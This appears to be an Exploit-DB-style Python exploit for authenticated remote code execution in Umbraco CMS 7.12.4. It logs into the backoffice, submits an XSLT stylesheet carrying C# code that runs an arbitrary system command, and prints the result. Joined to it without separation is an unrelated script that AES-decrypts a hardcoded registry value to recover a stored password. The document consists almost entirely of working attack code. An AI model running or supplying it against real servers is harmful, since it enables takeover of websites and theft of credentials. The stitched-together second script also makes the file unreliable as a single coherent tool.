Remote

# Exploit Title: Umbraco CMS - Authenticated Remote Code Execution 
# Date: 2020-03-28
# Exploit Author: Alexandre ZANNI (noraj)
# Based on: https://www.exploit-db.com/exploits/46153
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig

import requests
import re
import argparse

from bs4 import BeautifulSoup

parser = argparse.ArgumentParser(prog='exploit.py',
    description='Umbraco authenticated RCE',
    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
parser.add_argument('-u', '--user', metavar='USER', type=str,
    required=True, dest='user', help='username / email')
parser.add_argument('-p', '--password', metavar='PASS', type=str,
    required=True, dest='password', help='password')
parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,
    dest='url', help='root URL')
parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True,
    dest='command', help='command')
parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False,
    dest='arguments', help='arguments', default='')
args = parser.parse_args()

# Payload
payload = """\
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
""" % (args.arguments, args.command)

login = args.user
password = args.password
host = args.url

# Process Login
url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
loginfo = { "username": login, "password": password}
s = requests.session()
r2 = s.post(url_login,json=loginfo)

# Go to vulnerable web page
url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"
r3 = s.get(url_xslt)

soup = BeautifulSoup(r3.text, 'html.parser')
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,
    "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
    "ctl00$body$xsltSelection": payload,
    "ctl00$body$contentPicker$ContentIdValue": "",
    "ctl00$body$visualizeDo": "Visualize+XSLT" }

# Launch the attack
r4 = s.post(url_xslt, data=data, headers=headers)
# Filter output
soup = BeautifulSoup(r4.text, 'html.parser')
CMDOUTPUT = soup.find(id="result").getText()
print(CMDOUTPUT)

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B"			# output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)
raw_un = AESCipher(key).decrypt(iv, ciphertext)
print(hexdump.hexdump(raw_un))
password = raw_un.decode('utf-16')
print(password)